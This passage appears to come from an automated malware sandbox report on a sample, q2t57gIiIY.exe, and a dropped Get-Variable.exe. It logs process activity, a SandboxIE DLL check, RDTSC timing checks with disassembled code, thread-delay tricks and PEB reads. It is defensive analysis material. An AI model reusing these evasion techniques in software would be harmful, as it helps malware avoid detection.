Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: q2t57gIiIY.exe, 00000001.00000002.660359977.0000000000D51000.00000020.00020000.sdmp, Get-Variable.exe, 00000003.00000002.667365133.0000000000D51000.00000020.00020000.sdmp, Get-Variable.exe, 00000007.00000002.904848938.0000000000D51000.00000020.00020000.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000001351307 second address: 0000000001351329 instructions: 0x00000000 rdtsc 0x00000002 lea ebp, dword ptr [ebp+00000001h] 0x00000008 and eax, 1E0B5C31h 0x0000000d rcr dx, FFA9h 0x00000011 cmp esi, edi 0x00000013 xor cl, bl 0x00000015 rcr dx, cl 0x00000018 ror cl, 1 0x0000001a stc 0x0000001b cwd 0x0000001d sbb al, 32h 0x0000001f sub cl, FFFFFFD7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 000000000123B6B6 second address: 000000000123B6D0 instructions: 0x00000000 rdtsc 0x00000002 btc edx, 74h 0x00000006 movsx edx, cx 0x00000009 ror cl, 1 0x0000000b sub cl, FFFFFFD7h 0x0000000e rcr eax, FFFFFF88h 0x00000011 not cl 0x00000013 movsx ax, al 0x00000017 xor cl, FFFFFFA3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 000000000123B6D0 second address: 00000000012EC7AE instructions: 0x00000000 rdtsc 0x00000002 btc edx, ebp 0x00000005 cmp al, bl 0x00000007 xor bl, cl 0x00000009 mov edx, dword ptr [esp+ecx] 0x0000000c sub edi, 00000004h 0x00000012 adc eax, esi 0x00000014 neg eax 0x00000016 rol eax, 54h 0x00000019 mov dword ptr [edi], edx 0x0000001b sub ax, 000040D7h 0x0000001f mov eax, dword ptr [ebp+00h] 0x00000023 cmc 0x00000024 jmp 00007F1D0C3C097Ch 0x00000029 lea ebp, dword ptr [ebp+00000004h] 0x0000002f cmp esp, 32895E50h 0x00000035 test dx, dx 0x00000038 cmc 0x00000039 xor eax, ebx 0x0000003b bswap eax 0x0000003d clc 0x0000003e add eax, 4F74605Bh 0x00000043 jmp 00007F1D0C75BEF9h 0x00000048 bswap eax 0x0000004a jmp 00007F1D0C15EEB9h 0x0000004f inc eax 0x00000050 test bh, 00000025h 0x00000053 cmc 0x00000054 xor ebx, eax 0x00000056 jmp 00007F1D0C25744Eh 0x0000005b add esi, eax 0x0000005d jmp 00007F1D0C48D375h 0x00000062 lea edx, dword ptr [esp+60h] 0x00000066 cmp edi, edx 0x00000068 jmp 00007F1D0C487C4Ah 0x0000006d ja 00007F1D0C36EC5Dh 0x00000073 jmp esi 0x00000075 movzx ecx, byte ptr [ebp+00h] 0x0000007a add ebp, 00000001h 0x00000080 inc dh 0x00000082 rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000001259210 second address: 000000000125922C instructions: 0x00000000 rdtsc 0x00000002 adc dl, FFFFFFC1h 0x00000005 xor cl, 00000023h 0x00000008 xor dx, si 0x0000000b cmc 0x0000000c neg cl 0x0000000e sub cl, FFFFFFA5h 0x00000011 movzx edx, si 0x00000014 not cl 0x00000016 mov dh, FFFFFFE6h 0x00000019 not ax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000001350005 second address: 000000000135002B instructions: 0x00000000 rdtsc 0x00000002 cmovs ax, si 0x00000006 cwde 0x00000007 rol cl, 1 0x00000009 neg cl 0x0000000b shl eax, cl 0x0000000d bts dx, bx 0x00000011 sub cl, 00000071h 0x00000014 rcr dh, cl 0x00000016 sbb al, 37h 0x00000018 sal edx, 2Fh 0x0000001b neg cl 0x0000001d shr dh, FFFFFFF8h 0x00000020 lahf 0x00000021 xadd ah, dh 0x00000024 xor bl, cl 0x00000026 rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000000F0EEE2 second address: 0000000000F0EF04 instructions: 0x00000000 rdtsc 0x00000002 lea ebp, dword ptr [ebp+00000001h] 0x00000008 and eax, 1E0B5C31h 0x0000000d rcr dx, FFA9h 0x00000011 cmp esi, edi 0x00000013 xor cl, bl 0x00000015 rcr dx, cl 0x00000018 ror cl, 1 0x0000001a stc 0x0000001b cwd 0x0000001d sbb al, 32h 0x0000001f sub cl, FFFFFFD7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000000ECF556 second address: 0000000000ECF570 instructions: 0x00000000 rdtsc 0x00000002 btc edx, 74h 0x00000006 movsx edx, cx 0x00000009 ror cl, 1 0x0000000b sub cl, FFFFFFD7h 0x0000000e rcr eax, FFFFFF88h 0x00000011 not cl 0x00000013 movsx ax, al 0x00000017 xor cl, FFFFFFA3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000000E54BC2 second address: 0000000000E54BDE instructions: 0x00000000 rdtsc 0x00000002 adc dl, FFFFFFC1h 0x00000005 xor cl, 00000023h 0x00000008 xor dx, si 0x0000000b cmc 0x0000000c neg cl 0x0000000e sub cl, FFFFFFA5h 0x00000011 movzx edx, si 0x00000014 not cl 0x00000016 mov dh, FFFFFFE6h 0x00000019 not ax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\q2t57gIiIY.exe	RDTSC instruction interceptor: First address: 0000000000F7E6A1 second address: 0000000000F7E6AB instructions: 0x00000000 rdtsc 0x00000002 pop edi 0x00000003 cmp bx, 67B3h 0x00000008 clc 0x00000009 popfd 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000001351307 second address: 0000000001351329 instructions: 0x00000000 rdtsc 0x00000002 lea ebp, dword ptr [ebp+00000001h] 0x00000008 and eax, 1E0B5C31h 0x0000000d rcr dx, FFA9h 0x00000011 cmp esi, edi 0x00000013 xor cl, bl 0x00000015 rcr dx, cl 0x00000018 ror cl, 1 0x0000001a stc 0x0000001b cwd 0x0000001d sbb al, 32h 0x0000001f sub cl, FFFFFFD7h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 000000000123B6B6 second address: 000000000123B6D0 instructions: 0x00000000 rdtsc 0x00000002 btc edx, 74h 0x00000006 movsx edx, cx 0x00000009 ror cl, 1 0x0000000b sub cl, FFFFFFD7h 0x0000000e rcr eax, FFFFFF88h 0x00000011 not cl 0x00000013 movsx ax, al 0x00000017 xor cl, FFFFFFA3h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 000000000123B6D0 second address: 00000000012EC7AE instructions: 0x00000000 rdtsc 0x00000002 btc edx, ebp 0x00000005 cmp al, bl 0x00000007 xor bl, cl 0x00000009 mov edx, dword ptr [esp+ecx] 0x0000000c sub edi, 00000004h 0x00000012 adc eax, esi 0x00000014 neg eax 0x00000016 rol eax, 54h 0x00000019 mov dword ptr [edi], edx 0x0000001b sub ax, 000040D7h 0x0000001f mov eax, dword ptr [ebp+00h] 0x00000023 cmc 0x00000024 jmp 00007F1D0C3D228Ch 0x00000029 lea ebp, dword ptr [ebp+00000004h] 0x0000002f cmp esp, 32895E50h 0x00000035 test dx, dx 0x00000038 cmc 0x00000039 xor eax, ebx 0x0000003b bswap eax 0x0000003d clc 0x0000003e add eax, 4F74605Bh 0x00000043 jmp 00007F1D0C76D809h 0x00000048 bswap eax 0x0000004a jmp 00007F1D0C1707C9h 0x0000004f inc eax 0x00000050 test bh, 00000025h 0x00000053 cmc 0x00000054 xor ebx, eax 0x00000056 jmp 00007F1D0C268D5Eh 0x0000005b add esi, eax 0x0000005d jmp 00007F1D0C49EC85h 0x00000062 lea edx, dword ptr [esp+60h] 0x00000066 cmp edi, edx 0x00000068 jmp 00007F1D0C49955Ah 0x0000006d ja 00007F1D0C38056Dh 0x00000073 jmp esi 0x00000075 movzx ecx, byte ptr [ebp+00h] 0x0000007a add ebp, 00000001h 0x00000080 inc dh 0x00000082 rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000001259210 second address: 000000000125922C instructions: 0x00000000 rdtsc 0x00000002 adc dl, FFFFFFC1h 0x00000005 xor cl, 00000023h 0x00000008 xor dx, si 0x0000000b cmc 0x0000000c neg cl 0x0000000e sub cl, FFFFFFA5h 0x00000011 movzx edx, si 0x00000014 not cl 0x00000016 mov dh, FFFFFFE6h 0x00000019 not ax 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000001350005 second address: 000000000135002B instructions: 0x00000000 rdtsc 0x00000002 cmovs ax, si 0x00000006 cwde 0x00000007 rol cl, 1 0x00000009 neg cl 0x0000000b shl eax, cl 0x0000000d bts dx, bx 0x00000011 sub cl, 00000071h 0x00000014 rcr dh, cl 0x00000016 sbb al, 37h 0x00000018 sal edx, 2Fh 0x0000001b neg cl 0x0000001d shr dh, FFFFFFF8h 0x00000020 lahf 0x00000021 xadd ah, dh 0x00000024 xor bl, cl 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000000F0EEE2 second address: 0000000000F0EF04 instructions: 0x00000000 rdtsc 0x00000002 lea ebp, dword ptr [ebp+00000001h] 0x00000008 and eax, 1E0B5C31h 0x0000000d rcr dx, FFA9h 0x00000011 cmp esi, edi 0x00000013 xor cl, bl 0x00000015 rcr dx, cl 0x00000018 ror cl, 1 0x0000001a stc 0x0000001b cwd 0x0000001d sbb al, 32h 0x0000001f sub cl, FFFFFFD7h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000000ECF556 second address: 0000000000ECF570 instructions: 0x00000000 rdtsc 0x00000002 btc edx, 74h 0x00000006 movsx edx, cx 0x00000009 ror cl, 1 0x0000000b sub cl, FFFFFFD7h 0x0000000e rcr eax, FFFFFF88h 0x00000011 not cl 0x00000013 movsx ax, al 0x00000017 xor cl, FFFFFFA3h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000000E54BC2 second address: 0000000000E54BDE instructions: 0x00000000 rdtsc 0x00000002 adc dl, FFFFFFC1h 0x00000005 xor cl, 00000023h 0x00000008 xor dx, si 0x0000000b cmc 0x0000000c neg cl 0x0000000e sub cl, FFFFFFA5h 0x00000011 movzx edx, si 0x00000014 not cl 0x00000016 mov dh, FFFFFFE6h 0x00000019 not ax 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 0000000000F7E6A1 second address: 0000000000F7E6AB instructions: 0x00000000 rdtsc 0x00000002 pop edi 0x00000003 cmp bx, 67B3h 0x00000008 clc 0x00000009 popfd 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	RDTSC instruction interceptor: First address: 000000000123B6D0 second address: 00000000012EC7AE instructions: 0x00000000 rdtsc 0x00000002 btc edx, ebp 0x00000005 cmp al, bl 0x00000007 xor bl, cl 0x00000009 mov edx, dword ptr [esp+ecx] 0x0000000c sub edi, 00000004h 0x00000012 adc eax, esi 0x00000014 neg eax 0x00000016 rol eax, 54h 0x00000019 mov dword ptr [edi], edx 0x0000001b sub ax, 000040D7h 0x0000001f mov eax, dword ptr [ebp+00h] 0x00000023 cmc 0x00000024 jmp 00007F1D0C3C097Ch 0x00000029 lea ebp, dword ptr [ebp+00000004h] 0x0000002f cmp esp, 32895E50h 0x00000035 test dx, dx 0x00000038 cmc 0x00000039 xor eax, ebx 0x0000003b bswap eax 0x0000003d clc 0x0000003e add eax, 4F74605Bh 0x00000043 jmp 00007F1D0C75BEF9h 0x00000048 bswap eax 0x0000004a jmp 00007F1D0C15EEB9h 0x0000004f inc eax 0x00000050 test bh, 00000025h 0x00000053 cmc 0x00000054 xor ebx, eax 0x00000056 jmp 00007F1D0C25744Eh 0x0000005b add esi, eax 0x0000005d jmp 00007F1D0C48D375h 0x00000062 lea edx, dword ptr [esp+60h] 0x00000066 cmp edi, edx 0x00000068 jmp 00007F1D0C487C4Ah 0x0000006d ja 00007F1D0C36EC5Dh 0x00000073 jmp esi 0x00000075 movzx ecx, byte ptr [ebp+00h] 0x0000007a add ebp, 00000001h 0x00000080 inc dh 0x00000082 rdtsc

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe

Code function: 3_2_01914B1E rdtsc

3_2_01914B1E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FFA35BC0F82 sldt word ptr [eax]

4_2_00007FFA35BC0F82

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7759	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1814	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Window / User API: threadDelayed 624	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6932	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe TID: 7156	Thread sleep count: 624 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe TID: 7156	Thread sleep time: -18720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe TID: 7156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000004.00000002.910023032.000001D29AAB0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Get-Variable.exe, 00000007.00000002.910234975.00000000019AB000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.910023032.000001D29AAB0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: powershell.exe, 00000004.00000002.910023032.000001D29AAB0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: powershell.exe, 00000004.00000002.910023032.000001D29AAB0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\q2t57gIiIY.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe

Code function: 3_2_01914B1E rdtsc

3_2_01914B1E

Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Code function: 3_2_01911AB8 mov eax, dword ptr fs:[00000030h]		3_2_01911AB8
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Code function: 3_2_01911AA6 mov eax, dword ptr fs:[00000030h]		3_2_01911AA6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe 'C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe' Name host ValueOnly True

Jump to behavior

Source: powershell.exe, 00000004.00000002.904007192.000001D280AA0000.00000002.00000001.sdmp, Get-Variable.exe, 00000007.00000002.911531530.0000000002210000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000004.00000002.904007192.000001D280AA0000.00000002.00000001.sdmp, Get-Variable.exe, 00000007.00000002.911531530.0000000002210000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000004.00000002.904007192.000001D280AA0000.00000002.00000001.sdmp, Get-Variable.exe, 00000007.00000002.911531530.0000000002210000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: powershell.exe, 00000004.00000002.904007192.000001D280AA0000.00000002.00000001.sdmp, Get-Variable.exe, 00000007.00000002.911531530.0000000002210000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\q2t57gIiIY.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\WindowsApps\Get-Variable.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
